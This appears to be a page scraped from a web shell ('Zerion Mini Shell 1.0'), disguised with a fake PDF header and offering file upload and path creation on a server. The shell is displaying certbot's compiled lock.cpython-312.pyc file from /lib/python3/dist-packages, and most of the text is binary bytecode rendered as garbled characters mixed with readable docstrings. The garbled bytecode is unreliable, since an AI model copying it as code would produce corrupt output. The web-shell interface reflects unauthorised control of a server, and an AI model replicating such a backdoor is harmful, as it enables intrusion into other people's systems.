%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/certbot/_internal/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/certbot/_internal/__pycache__/lock.cpython-312.pyc

�

M/�e�'���dZddlZddlZddlmZddlmZddlmZddlm	Z		ddl
Z
dZeje�ZGd	�d
�ZGd�d�ZGd
�de�ZGd�de�Zdedefd�Zy#e$r	ddl
Z
dZY�RwxYw)zZImplements file locks compatible with Linux and Windows for locking files and directories.�N)�Optional)�errors)�
filesystem)�osTFc�H�eZdZdZdeddfd�Zdefd�Zd
d�Zd
d�Zde	fd	�Z
y)�LockFilea�
    Platform independent file lock system.
    LockFile accepts a parameter, the path to a file acting as a lock. Once the LockFile,
    instance is created, the associated file is 'locked from the point of view of the OS,
    meaning that if another instance of Certbot try at the same time to acquire the same lock,
    it will raise an Exception. Calling release method will release the lock, and make it
    available to every other instance.
    Upon exit, Certbot will also release all the locks.
    This allows us to protect a file or directory from being concurrently accessed
    or modified by two Certbot instances.
    LockFile is platform independent: it will proceed to the appropriate OS lock mechanism
    depending on Linux or Windows.
    �path�returnNc�p�||_trtnt}||�|_|j�y)z�
        Create a LockFile instance on the given file path, and acquire lock.
        :param str path: the path to the file that will hold a lock
        N)�_path�
POSIX_MODE�_UnixLockMechanism�_WindowsLockMechanism�_lock_mechanism�acquire)�selfr	�	mechanisms   �8/usr/lib/python3/dist-packages/certbot/_internal/lock.py�__init__zLockFile.__init__$s+��
��
�*4�&�:O�	�(���������c��dj|jj|j�}|j	�r|dz
}|S|dz
}|S)Nz
{0}({1}) <z	acquired>z	released>)�format�	__class__�__name__r�	is_locked)r�repr_strs  r�__repr__zLockFile.__repr__/sN���&�&�t�~�~�'>�'>��
�
�K���>�>����#�H���
��#�H��rc�8�|jj�y)z�
        Acquire the lock on the file, forbidding any other Certbot instance to acquire it.
        :raises errors.LockError: if unable to acquire the lock
        N)rr�rs rrzLockFile.acquire7s��
	
���$�$�&rc�8�|jj�y)zb
        Release the lock on the file, allowing any other Certbot instance to acquire it.
        N)r�releasers rr!zLockFile.release>s��	
���$�$�&rc�6�|jj�S)zu
        Check if the file is currently locked.
        :return: True if the file is locked, False otherwise
        )rrrs rrzLockFile.is_lockedDs��
�#�#�-�-�/�/r�r
N)r�
__module__�__qualname__�__doc__�strrrrr!�boolr�rrrrs<���	�S�	�T�	��#��'�'�0�4�0rrc�8�eZdZdeddfd�Zdefd�Zdd�Zdd�Zy)	�_BaseLockMechanismr	r
Nc� �||_d|_y)zk
        Create a lock file mechanism for Unix.
        :param str path: the path to the lock file
        N)r�_fd)rr	s  rrz_BaseLockMechanism.__init__Ms��
��
�"&��rc��|jduS)zvCheck if lock file is currently locked.
        :return: True if the lock file is locked
        :rtype: bool
        N)r-rs rrz_BaseLockMechanism.is_lockedUs��
�x�x�t�#�#rc��y�Nr)rs rrz_BaseLockMechanism.acquire\���rc��yr0r)rs rr!z_BaseLockMechanism.release_r1rr#)	rr$r%r'rr(rrr!r)rrr+r+Ls+��'�S�'�T�'�$�4�$�
�
rr+c�@�eZdZdZd	d�Zdeddfd�Zdedefd�Zd	d�Z	y)
rz�
    A UNIX lock file mechanism.
    This lock file is released when the locked file is closed or the
    process exits. It cannot be used to provide synchronization between
    threads. It is based on the lock_file package by Martin Horcicka.
    r
Nc��|j��tj|jtj
tjzd�}	|j|�|j|�r||_|j�t	j|�	|j���yy#|j�t	j|�wwxYw)zAcquire the lock.N�)
r-r�openrr�O_CREAT�O_WRONLY�	_try_lock�
_lock_success�close)r�fds  rrz_UnixLockMechanism.acquirejs����h�h��������R�Z�Z�"�+�+�-E�u�M�B�
!����r�"��%�%�b�)�!�D�H��8�8�#��H�H�R�L��h�h����8�8�#��H�H�R�L�$�s�)B(�($Cr<c�V�	tj|tjtjz�y#t$rg}|j
t
jt
jfvr5tjd|j�tjd���d}~wwxYw)z�
        Try to acquire the lock file without blocking.
        :param int fd: file descriptor of the opened file to lock
        �(A lock on %s is held by another process.�/Another instance of Certbot is already running.N)
�fcntl�lockf�LOCK_EX�LOCK_NB�IOError�errno�EACCES�EAGAIN�logger�debugrr�	LockError)rr<�errs   rr9z_UnixLockMechanism._try_lockxss��
	��K�K��E�M�M�E�M�M�9�:���	��y�y�U�\�\�5�<�<�8�8����G����T��&�&�'X�Y�Y���		�s�58�	B(�A"B#�#B(c� �ddlm}ddlm}	||j�}||�}|j|jk(xr|j|jk(S#t$r(}|j
t
jk(rYd}~y�d}~wwxYw)a�
        Did we successfully grab the lock?
        Because this class deletes the locked file when the lock is
        released, it is possible another process removed and recreated
        the file between us opening the file and acquiring the lock.
        :param int fd: file descriptor of the opened file to lock
        :returns: True if the lock was successfully acquired
        :rtype: bool
        r)�fstat)�statNF)	rrMrNr�OSErrorrE�ENOENT�st_dev�st_ino)rr<rMrN�stat1rK�stat2s       rr:z _UnixLockMechanism._lock_success�sw��	��	�����$�E��b�	���|�|�u�|�|�+�L�������0L�L���	��y�y�E�L�L�(����	�s�A�	B
�%B�B�B
c�v�	tj|j�|j�t	d��	tj
|j�d|_y#d|_wxYw#|j�t	d��	tj
|j�d|_w#d|_wxYwxYw)z)Remove, close, and release the lock file.NzError, self._fd is None.)r�removerr-�	TypeErrorr;rs rr!z_UnixLockMechanism.release�s���
	 ��I�I�d�j�j�!��x�x��� :�;�;�
 �������"�����4�����x�x��� :�;�;�
 �������"�����4���s.�A,�A � 	A)�,B8�B,�$B8�,	B5�5B8r#)
rr$r%r&r�intr9r(r:r!r)rrrrcs:���!��C��D��M��M��M�6 rrc� �eZdZdZdd�Zdd�Zy)ra"
    A Windows lock file mechanism.
    By default on Windows, acquiring a file handler gives exclusive access to the process
    and results in an effective lock. However, it is possible to explicitly acquire the
    file handler in shared access in terms of read and write, and this is done by os.open
    and io.open in Python. So an explicit lock needs to be done through the call of
    msvcrt.locking, that will lock the first byte of the file. In theory, it is also
    possible to access a file in shared delete access, allowing other processes to delete an
    opened file. But this needs also to be done explicitly by all processes using the Windows
    low level APIs, and Python does not do it. As of Python 3.7 and below, Python developers
    state that deleting a file opened by a process from another process is not possible with
    os.open and io.open.
    Consequently, msvcrt.locking is sufficient to obtain an effective lock, and the race
    condition encountered on Linux is not possible on Windows, leading to a simpler workflow.
    Nc�
�tjtjztjz}d}	t	j
|j|d�}tj|tjd�||_y#ttf$ro}|rtj|�|jtjk7r�tj!d|j�t#j$d��d}~wwxYw)zAcquire the lockNr5�r>r?)r�O_RDWRr7�O_TRUNCrr6r�msvcrt�locking�LK_NBLCKrDrOr;rErFrHrIrrJr-)r�	open_moder<rKs    rrz_WindowsLockMechanism.acquire�s����I�I��
�
�*�R�Z�Z�7�	�
��	V�������Y��>�B�
�N�N�2�v����2�������!�	V��������y�y�E�L�L�(���L�L�C�T�Z�Z�P��"�"�#T�U�U��	V�s�AB�D�A*C=�=Dc��	|jstjd��tj|jtj
d�t
j|j�	t
j|j�d|_y#t$r(}tjt|��Yd}~�4d}~wwxYw#d|_wxYw)zRelease the lock.z%The lock has not been acquired first.r[N)r-r�Errorr^r_�LK_UNLCKrr;rVrrOrHrIr')r�es  rr!z_WindowsLockMechanism.release�s���	��8�8��l�l�#J�K�K�
�N�N�4�8�8�V�_�_�a�8��H�H�T�X�X��
%��	�	�$�*�*�%��D�H���
%����S��V�$�$��
%��
�D�H�s0�A/C
�2B�	C
�"C�C
�C
�
C
�
	Cr#)rr$r%r&rr!r)rrrr�s����0rr�dir_pathr
c�T�ttjj|d��S)a3Place a lock file on the directory at dir_path.

    The lock file is placed in the root of dir_path with the name
    .certbot.lock.

    :param str dir_path: path to directory

    :returns: the locked LockFile object
    :rtype: LockFile

    :raises errors.LockError: if unable to acquire the lock

    z
.certbot.lock)rrr	�join)rfs r�lock_dirri�s���B�G�G�L�L��?�;�<�<r)r&rE�logging�typingr�certbotr�certbot.compatrrr@r
�ImportErrorr^�	getLoggerrrHrr+rrr'rir)rr�<module>rps���`�����%����
�J�
��	�	�8�	$��30�30�l
�
�.R �+�R �j:�.�:�z=�s�=�x�=��S����J��s�A/�/A=�<A=

Zerion Mini Shell 1.0